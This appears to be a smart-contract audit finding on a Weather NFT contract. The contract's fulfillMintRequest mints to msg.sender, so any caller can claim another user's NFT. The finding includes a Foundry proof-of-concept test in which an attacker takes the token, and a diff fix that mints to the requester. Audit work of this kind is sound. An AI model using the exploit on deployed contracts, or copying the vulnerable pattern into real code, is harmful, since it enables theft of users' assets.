function fulfillMintRequest(bytes32 requestId) external {
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId]
.response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(
response.length > 0 || err.length > 0,
WeatherNft__Unauthorized()
);
if (response.length == 0 || err.length > 0) {
return;
}
@> UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[
@> requestId
];
uint8 weather = abi.decode(response, (uint8));
uint256 tokenId = s_tokenCounter;
s_tokenCounter++;
emit WeatherNFTMinted(requestId, msg.sender, Weather(weather));
@> _mint(msg.sender, tokenId);
s_tokenIdToWeather[tokenId] = Weather(weather);
uint256 upkeepId;
if (_userMintRequest.registerKeeper) {
LinkTokenInterface(s_link).approve(
s_keeperRegistrar,
_userMintRequest.initLinkDeposit
);
IAutomationRegistrarInterface.RegistrationParams
memory _keeperParams = IAutomationRegistrarInterface
.RegistrationParams({
name: string.concat(
"Weather NFT Keeper: ",
Strings.toString(tokenId)
),
encryptedEmail: "",
upkeepContract: address(this),
gasLimit: s_upkeepGaslimit,
adminAddress: address(this),
triggerType: 0,
checkData: abi.encode(tokenId),
triggerConfig: "",
offchainConfig: "",
amount: uint96(_userMintRequest.initLinkDeposit)
});
upkeepId = IAutomationRegistrarInterface(s_keeperRegistrar)
.registerUpkeep(_keeperParams);
}
function test_anyoneCanClaimMintedNFT() public {
uint256 mintPrice = weatherNft.s_currentMintPrice();
vm.prank(user);
bytes32 reqId = weatherNft.requestMintWeatherNFT{value: mintPrice}(
"12345",
"US",
false,
0,
0
);
bytes memory response = abi.encode(uint8(1));
bytes memory err = "";
weatherNft.fulfillRequest(reqId, response, err);
vm.prank(attacker);
weatherNft.fulfillMintRequest(reqId);
uint256 tokenId = weatherNft.s_tokenCounter() - 1;
assertEq(weatherNft.ownerOf(tokenId), attacker);
}
function fulfillRequest(
bytes32 requestId,
bytes memory response,
bytes memory err
) internal override {
if (s_funcReqIdToUserMintReq[requestId].user != address(0)) {
s_funcReqIdToMintFunctionReqResponse[requestId] =
MintFunctionReqResponse({response: response, err: err});
+ _fulfillMintRequest(requestId);
} else if (s_funcReqIdToTokenIdUpdate[requestId] > 0)
+ // <SNIP>
}
+ /// @notice refactored fulfillMintRequest -
+ function _fulfillMintRequest(bytes32 requestId) internal {
+ // <SNIP>
+ // Additional check to make sure of caller
- emit WeatherNFTMinted(requestId, msg.sender, Weather(weather));
- _mint(msg.sender, tokenId);
+ emit WeatherNFTMinted(requestId, msg.sender, Weather(weather));
+ _mint(_userMintRequest.user, tokenId);
+ // <SNIP>
+ }